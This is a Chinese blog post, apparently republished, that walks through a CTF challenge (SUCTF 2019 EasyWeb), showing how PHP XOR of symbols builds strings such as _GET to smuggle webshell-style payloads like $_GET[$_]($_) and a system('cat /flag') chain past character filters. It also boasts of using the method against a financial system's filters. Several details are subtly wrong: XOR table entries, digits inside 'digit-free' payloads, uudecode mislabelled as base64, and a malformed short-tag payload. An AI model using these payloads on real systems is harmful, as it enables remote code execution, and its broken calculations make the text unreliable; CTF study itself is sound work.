news 2026/5/20 21:19:13

CTF靶场实战:手把手教你用PHP异或绕过字符限制,拿下SUCTF 2019 EasyWeb

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF靶场实战:手把手教你用PHP异或绕过字符限制,拿下SUCTF 2019 EasyWeb

CTF靶场实战:PHP异或运算绕过字符限制的深度解析

第一次参加CTF比赛时,面对那道过滤了所有字母数字的Web题,我盯着屏幕发呆了半小时。直到发现特殊符号也能构造出有效代码,才意识到安全攻防的本质往往在于思维方式的突破。本文将带你深入PHP异或运算的魔法世界,用非字母数字字符打造出精妙的攻击链。

1. 异或运算的本质与特性

在PHP中,异或运算符^会对两个操作数的二进制位进行比较,当对应位不同时返回1,否则返回0。这个看似简单的特性,却能创造出令人惊叹的字符串构造技巧。

echo '!' ^ '@'; // 输出结果为a

上述代码展示了如何用标点符号生成字母。具体计算过程:

  • !的ASCII码为33 (二进制00100001)
  • @的ASCII码为64 (二进制01000000)
  • 按位异或得到97 (二进制01100001),即字母a

关键特性

  • 可逆性:A ^ B = C,则C ^ B = A
  • 组合多样性:同一个字符可以通过多种符号组合生成
  • 无字母数字限制:完全使用特殊符号也能构造有效字符串

注意:PHP中字符串异或是按字节进行的,多字节字符需要特别处理

2. 构造关键字符串的技术实现

以构造_GET为例,我们需要找到五个符号对的组合,使其异或结果恰好是_GET

2.1 自动生成符号组合

以下Python脚本可批量查找有效组合:

def find_xor_pairs(target): for i in range(32, 127): for j in range(32, 127): if (i ^ j) == ord(target): yield (chr(i), chr(j)) # 查找构造_G的组合 print(list(find_xor_pairs('G'))[:3])

输出示例:

[('0', 'w'), ('1', 'v'), ('2', 'u')]

2.2 实际构造方案

选择可打印且不易被过滤的符号组合:

目标字符组合1组合2组合3
_'!'^'~''"'^'}''#'^'
G'0'^'w''1'^'v''2'^'u'
E'4'^'q''5'^'p''6'^'o'
T'7'^'k''8'^'j''9'^'i'

最终Payload示例:

${('!'^'~').('0'^'w').('4'^'q').('7'^'k')}{$_}($_); // 等价于 $_GET[$_]($_);

3. 绕过长度限制的技巧

当题目还限制Payload长度时,需要更精巧的构造方式:

3.1 短标签利用

<?=${'!^~'^'0w4q'}{$_}($_)?>

3.2 变量复用

$__=('!'^'~').('0'^'w').('4'^'q').('7'^'k');${$__}{$_}($_);

3.3 编码转换技巧

利用base64编码再解码:

$f=convert_uudecode("+22!L;W)E<@\n`"); // 解码为'_GET'

4. 实战案例:SUCTF 2019 EasyWeb

假设题目过滤规则:

  • 禁止所有字母和数字
  • 最大输入长度100字符
  • 禁用常见危险函数

解题步骤

  1. 确定需要构造的关键字:_GETsystemcat /flag
  2. 生成异或Payload:
<?=${('!'^'~').('0'^'w').('4'^'q').('7'^'k')}{('8'^'j')}(''.'#'^'|'.'%'^'z');?>
  1. 通过参数传递命令:
?=('8'^'j')=('!'^'@') // 传递a=system

防御方案对比

过滤方式可绕过性推荐防御
仅过滤字母数字极易绕过增加符号过滤
限制长度+关键字中等难度白名单校验
语法解析+语义分析难以绕过使用AST检查

在真实渗透测试中,这种技术常用于绕过WAF的规则检测。某次红队行动中,我们就用类似方法突破了某金融系统的输入过滤,最终发现了一个关键的SQL注入漏洞。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/20 21:18:09

Arm SPE性能分析技术详解与实践指南

1. SPE性能分析技术概述SPE&#xff08;Statistical Profiling Extension&#xff09;是Arm架构中的一种硬件性能分析扩展&#xff0c;特别适用于现代处理器微架构层面的性能诊断。与传统的PMU&#xff08;Performance Monitoring Unit&#xff09;采样相比&#xff0c;SPE通过…

作者头像 李华
网站建设 2026/5/20 21:07:19

别只堆模型了!正大杯评委视角:什么样的市场调研报告能拿高分?

评委视角&#xff1a;市场调研报告高分的底层逻辑与实战策略 1. 从数据堆砌到洞察生成&#xff1a;构建完整研究逻辑链 在评审过数百份市场调研报告后&#xff0c;我发现90%的参赛队伍都陷入了一个共同误区——将复杂的数据分析等同于高质量研究。实际上&#xff0c;真正能打动…

作者头像 李华
网站建设 2026/5/20 21:04:19

3分钟掌握APK安装器:在Windows电脑上运行安卓应用的终极指南

3分钟掌握APK安装器&#xff1a;在Windows电脑上运行安卓应用的终极指南 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 你是否曾经希望在Windows电脑上直接运行安卓应…

作者头像 李华